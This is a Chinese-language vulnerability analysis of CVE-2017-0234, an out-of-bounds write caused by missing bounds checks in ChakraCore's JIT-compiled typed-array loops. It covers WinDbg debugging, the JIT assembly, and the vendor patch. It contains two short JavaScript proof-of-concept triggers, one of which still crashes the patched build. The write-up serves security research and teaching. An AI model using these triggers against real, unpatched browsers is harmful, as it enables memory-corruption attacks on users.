---
# System prepended metadata

title: CVE-2017-0234 分析1.0

---

# CVE-2017-0234 分析1.0

### ChakraCore 基础知识
- 这个cve是关于ChakraCore的漏洞, 既然要调试漏洞, 我们先了解下ChakraCore的基本特征.



- 我们直接阅读ChakraCore的官方文档
https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview
![ChakraCore](https://github.com/microsoft/ChakraCore/wiki/images/chakracore_pipeline.p![](https://i.imgur.com/UqQnN9t.png)
ng)


- 总的来讲, ChakraCore是一个由微软为Edge浏览器开发的javascript引擎, 
    在ChakraCore的执行过程中, 分为解释执行(Interpreter)和JIT(Just-in-time).
    - 我们来理一理, 一个js函数, 从编写完成后到最后在edge上呈现出效果, 经历了些什么 :)
    1. 当这个函数第一次被执行时, ChakraCore的语法解析器将这个函数的源码转换为一个抽象语法树(AST). 
    2. 随后这个抽象语法树(AST) 被字节码生成器(Bytecode Generator)翻译为字节码(Bytecode), 这些字节码 直接解释执行(Interpreter)
    3. 在解释执行(Interpreter)期间, 解释器会收集一些程序信息(profile), 例如变量类型, 函数调用次数等等.
    4. 收集到的程序信息(profile)将帮助 JIT编译器生成高度优化的机器码(jited code), 用生成的机器码(jited code)替换  原先的被优化的函数或者循环体  进行执行. 由于jitdcode是经过高度优化的机器码, 所以之后的执行效率将快于之前的解释执行.

    5. 此外, 后台JIT会根据profile数据预测代码可能会出现的情况, 从而更好的优化代码. 但是我们知道js的变量类型是可以动态修改的. 当js的某些动态特征使代码行为打破了profile的预测, 会停止执行当前的jiedcode, 转回去执行相对较慢的解释执行(Interpreter), 同时继续信息收集. 这个转换过程就是bailout.  
    

### 调试环境搭建
> 我的调试环境: win10 + vs2015 + WinDbg Preview

- 在github ChakraCore的项目中 搜索 CVE-2017-0234, 找到有漏洞的版本及对应的commint, 然后chckout回有漏洞的版本

    下载ChakraCore的源码, 编译
> git clone https://github.com/Microsoft/ChakraCore.git
> cd ChakraCore
> git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6

- vs编译chakracore
    - 可以直接用vs可以直接打开ChakraCore\Build\Chakra.Core.sln,然后编译, 我是用的vs2015
选为debug版x64, 选择ch 右键设置为启动项, 现在可以直接编译ChakraCore.
如果我们要运行我们的js代码, 可以设置ch的调试命令参数.
![](https://i.imgur.com/0xWvSbz.png)

- windbg调试环境搭建
   - 在windows store下载windbg preview
    设置符号表服务器
    > SRV*c:\edgesymbol*http://msdl.microsoft.com/download/symbols

    ![](https://i.imgur.com/RTFbvRv.png)


    - 同样的, 我们设置ch.exe为启动项
    ![](https://i.imgur.com/FgJOlvo.png)

### crash
- poc
```javascript=
function write(begin,end,step,num){
    for(var i=begin;i<end;i+=step) view[i]=num;
}

var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);

write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,0x6e617579);
```
- 我们先看下poc的效果
    - 直接用windbg运行,在命令窗口输入 g
    ![](https://i.imgur.com/FpZvaUn.png)

    - 我们看到,程序没找到`[rsi+r9*4]` 的地址, 产生了越界写入
    - 我们查看下此时的栈
    ![](https://i.imgur.com/rwSy4cS.png)

### 分析
- 当chakracore收集信息, 发现代码中的循环次信息后, JIT会生成jited code, 那我们在JIT的循环代码调用入口下断点, 然后单步跟踪
- 通过windbg观察崩溃时栈区, JIT生成的循环代码调用入口很有可能是在chakracore!Js::InterpreterStackFrame::DoLoopBodyStart，循环主体很有可能在chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a
- 我们重新运行,对这两个函数下断点
> bu chakracore!Js::InterpreterStackFrame::DoLoopBodyStart
> bu chakracore!Js::InterpreterStackFrame::CallLoopBody
> bu chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a
> g

- 我们调试发现, 这个大致流程是: chakracore发现有大量重复的循环-->JIT进行优化-->DoLoopBodyStart调用CallLoopBody.

- 我们打印下程序崩溃时的栈, 根据栈回溯观察它的整个调用逻辑
```asm
0:005> k
 # Child-SP          RetAddr           Call Site
00 00000045`e9efd740 00007ffd`012bacca 0x000001be`88f60167
01 00000045`e9efd7f0 00007ffd`012bba59 chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 6218] 
02 00000045`e9efd830 00007ffd`012ad7cc chakracore!Js::InterpreterStackFrame::DoLoopBodyStart+0x629 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 6026] 
03 00000045`e9efd930 00007ffd`0129fef7 chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart<1,1>+0x13c [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 5790] 
04 00000045`e9efd990 00007ffd`013497ef chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0x397 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 5692] 
05 00000045`e9efd9e0 00007ffd`012c4ec5 chakracore!Js::InterpreterStackFrame::ProcessProfiled+0x3ef [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterhandler.inl @ 49] 
06 00000045`e9efda50 00007ffd`012bf7a9 chakracore!Js::InterpreterStackFrame::Process+0x585 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 3478] 
07 00000045`e9efdbe0 00007ffd`012bf957 chakracore!Js::InterpreterStackFrame::InterpreterHelper+0xe59 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 2036] 
08 00000045`e9efe100 000001be`88ef0fba chakracore!Js::InterpreterStackFrame::InterpreterThunk+0x97 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 1776] 
09 00000045`e9efe190 00007ffd`01744a82 0x000001be`88ef0fba    
```

```
InterpreterStackFrame::InterpreterThunk
  InterpreterStackFrame::InterpreterHelper
    InterpreterStackFrame::Process
      InterpreterStackFrame::ProcessProfiled
        InterpreterStackFrame::OP_ProfiledLoopStart
          InterpreterStackFrame::ProfiledLoopBodyStart
            InterpreterStackFrame::DoLoopBodyStart
              InterpreterStackFrame::CallLoopBody
```
- 可以很清楚的看到, 先是由Interpreter执行, 然后经过 ProcessProfiled收集信息, 最后生成了jitedcode, 并执行jitedcode



```cpp
LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration)
{
...
...
    else
    {
        AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
        newOffset = this->CallLoopBody(entryPointInfo->jsMethod);
    }
...
...
}

```
- 在newOffset = this->CallLoopBody(entryPointInfo->jsMethod);下断点,
其中 CallLoopBody的参数就是循环体jitedcode 的地址
这里是jit生成的循环的入口地址,
![break](https://i.imgur.com/35mFjbB.png)

- 然后我们重点看下这个循环体的汇编, 对照着poc.js看.
我们在这里打个断点, 跟进去动态调试
>0:005> bu 000002be`170f0000
>0:005> g
- 在第一个write(0,0x4000,1,0x1234);循环次数只有0x4000的时候, 不会有问题, 我们可以看到填充值是0x1234.
 ![](https://i.imgur.com/tYZLn5V.png)
- 但是在调用 write(0x3000000e,0x40000010,0x10000,0x6e617579);的时候发生越界.  生成的jied code如下

- 关键代码
```asm
...
...
...
00000250`9eb00101   mov     r10d, r10d
00000250`9eb00104   mov     r11, rdx
00000250`9eb00107   shr     r11, 30h  // 判断对象是int还是obj
00000250`9eb0010b   jne     00000250`9eb002df 
00000250`9eb00111   cmp     qword ptr [rdx], rsi // 判断对象是不是TypedArray<unsigned int,0,1>
00000250`9eb00114   jne     00000250`9eb002df
00000250`9eb0011a   mov     rsi, qword ptr [rdx+38h]
00000250`9eb0011e   nop     
00000250`9eb0011f   nop     
00000250`9eb00120   mov     r11, 2479CF60AB8h
00000250`9eb0012a   cmp     rsp, qword ptr [r11]
00000250`9eb0012d   jle     00000250`9eb00319
00000250`9eb00133   mov     dword ptr [rdi+9397Ch], ecx
00000250`9eb00139   inc     ecx
00000250`9eb0013b   cmp     r9d, r10d  // 比较循环中的begin和end
00000250`9eb0013e   jge     00000250`9eb0017d
00000250`9eb00140   nop     
00000250`9eb00141   mov     r11, r14
00000250`9eb00144   mov     r13, r11
00000250`9eb00147   shr     r13, 30h
00000250`9eb0014b   cmp     r13, 1
00000250`9eb0014f   jne     00000250`9eb0032b
00000250`9eb00155   mov     r13d, r11d
00000250`9eb00158   mov     dword ptr [rsi+r9*4], r13d
00000250`9eb0015c   xxx     r9d, r8d
00000250`9eb0015f   jno     00000250`9eb00120
...
...
...
```

```
0:005> dqs rdx
0000024f`9e9d2940  00007ffc`ff982918 chakracore!Js::TypedArray<unsigned int,0,1>::`vftable'
0000024f`9e9d2948  0000024f`9e999540
0000024f`9e9d2950  00000000`00000000
0000024f`9e9d2958  00000000`00000000
...
```

![](https://i.imgur.com/Mm4tb6q.png)
> R13=0x0001000000010000  //这里是取出for循环的step=0x0001000000010000
>
> R14=0x000100006e617579  //这里是取出view数组要赋予的值0x000100006e617579
>
> R15=0x0001000040000010  //这里是取出for循环的end=0x0001000040000010
> 
> RAX=0x000100003000000e  //这里是取出for循环的start=0x000100003000000e 

每个数值的高4位还有个0001, 这个0001是做标记用, 标记它是int还是obj
- 这里为什么要进行判断呢? 其实这就是文章开始介绍的chakracore的特性5,
>  后台JIT会根据profile数据预测可能出现的情况, 但是它也会时刻判断是不是出现了预期之外的事情. 比如这里的判断对象是int还是obj, 判断对象是不是TypedArray<unsigned int,0,1>, 如果不是,它会跳到00000250`9eb002df ,
  会停止执行当前的jiedcode, 转回去执行相对较慢的解释执行(Interpreter), 即产生bailout.
  
- 我们看下跳到的位置对应的汇编, 的确证实了我们的想法.
```
0:005> u 00000250`9eb002df
00000250`9eb002df   mov dword ptr [rdi-0B0AE8h],0Dh
00000250`9eb002e9   lea     rsi,[rbx+4E2A8h]
00000250`9eb002f0   mov     qword ptr [rdi-0B0ACCh],rsi
00000250`9eb002f7   jmp     00000250`9eb002f9
00000250`9eb002f9   mov     qword ptr [rsp],rax
00000250`9eb002fd   mov rcx,24F9E8D3C98h
00000250`9eb00307   mov rax,offset chakracore!LinearScanMD::SaveAllRegistersAndBailOut (00007ffc`ff626750)
00000250`9eb00311   call    rax
```
- 我们接着看产生漏洞的地方
```asm
0:005> t
00000250`9eb00155 458beb          mov     r13d,r11d
0:005> t
00000250`9eb00158 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:00000250`5eac0038=????????
0:005> r
rax=000100003000000e rbx=000002479cf61f18 rcx=0000000000000001
rdx=0000024f9e9d2940 rsi=0000024f9eac0000 rdi=0000024f9e9847c4
rip=000002509eb00158 rsp=00000097869fda20 rbp=00000097869fdac0
 r8=0000000000010000  r9=000000003000000e r10=0000000040000010
r11=000100006e617579 r12=00000097869fdf10 r13=000000006e617579
r14=000100006e617579 r15=0001000040000010
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00000250`9eb00158 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:00000250`5eac0038=????????

```



- 最终代码运行到这里发生了crash，rsi是buffer对象的内存基地址，r9是数组下标0x3000000e，r13给数组的赋值，整个过程都没有检查r9的范围，造成了数组越界访问。

- 这里还有个问题， JIT在使用buffer对象时, 没有检查buffer是否被释放,这就是第二个漏洞0236。 据说就这块代码有三个洞, 除开oob和uaf之外, 还有个“特性”漏洞，可惜自己还没能搞明白, 先挖个坑(0.0)

- 我们先继续看这个越界访问的 patch

### patch
![](https://i.imgur.com/PSpQLCA.png)
(patch)[https://github.com/microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3]
```cpp
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
    if (isProfilableStElem ||
        !instr->IsDstNotAlwaysConvertedToInt32() ||
        ( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
          baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
          !instr->IsDstNotAlwaysConvertedToNumber()
        )
       )
    {
        // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
        // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
        // checks in jitted code.
        if (!GetIsAsmJSFunc())
        {
            IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
            if (idxOpnd)
            {
                StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
                Value * idxValue = FindValue(idxSym);
                IntConstantBounds idxConstantBounds;
                if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
                {
                    BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
                    int32 upperBound = idxConstantBounds.UpperBound();
                    int32 lowerBound = idxConstantBounds.LowerBound();
                    if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
                    {
                        eliminatedLowerBoundCheck = true;
                        eliminatedUpperBoundCheck = true;
                        canBailOutOnArrayAccessHelperCall = false;
                    }
                }
            }
        }
        else
        {
            eliminatedLowerBoundCheck = true;
            eliminatedUpperBoundCheck = true;
            canBailOutOnArrayAccessHelperCall = false;
        }
    }
}
```
我们来分析下, 为什么它这样改过后代码就变得安全了呢
- 我们checkout到打了patch的版本，并重新编译
> git checkout a1345ad48064921e8eb45fa0297ce405a7df14d3

- 我们可以先看一下patch后的JIT代码是怎么样的, 我们重复上面的流程
- 来到关键代码

![](https://i.imgur.com/Yj41eBn.png)

![](https://i.imgur.com/uO6csJf.png)
- 这里他有比较索引上界是否超出了buffer内存的边界

### 关于对patch的思考
- 我们看下它的patch代码, 有个地方很奇怪
```cpp
if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
```
- 一般来讲, 我们对的循环的索引检查应该是 0<=index<length; 但是这里它对上界的检查确实 upperBound乘上indirScale 小于MAX_ASMJS_ARRAYBUFFER_LENGTH(这个值在vs里全局搜索,发现它的值是0x100000000 //4GB)  这里很有可能还是存在漏洞:)
- 我们换个poc([出处](https://www.zerodayinitiative.com/blog/2017/10/5/check-it-out-enforcement-of-bounds-checks-in-native-jit-code)), 在已经打完patch的chakracore运行(a1345ad). 也发现了cracsh

```cpp
function jitBlock(arr, index)
{   
    if (index <0 || index >= 0x40000000)
        return;
    arr[index] = 0xdeedbeef;
}
var arr = new Uint32Array(0x40000/4)
for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0)
}
jitBlock(arr, 0x40000 / 4)
```
![](https://i.imgur.com/uadWqVo.png)





END
----
参考链接
http://math1as.com/2018/02/07/CVE-2017-0234-analysis/
https://slab.qq.com/news/tech/1572.html
http://eternalsakura13.com/2018/07/03/cve-2017-0234-3.0/
https://www.zerodayinitiative.com/blog/2017/10/5/check-it-out-enforcement-of-bounds-checks-in-native-jit-code

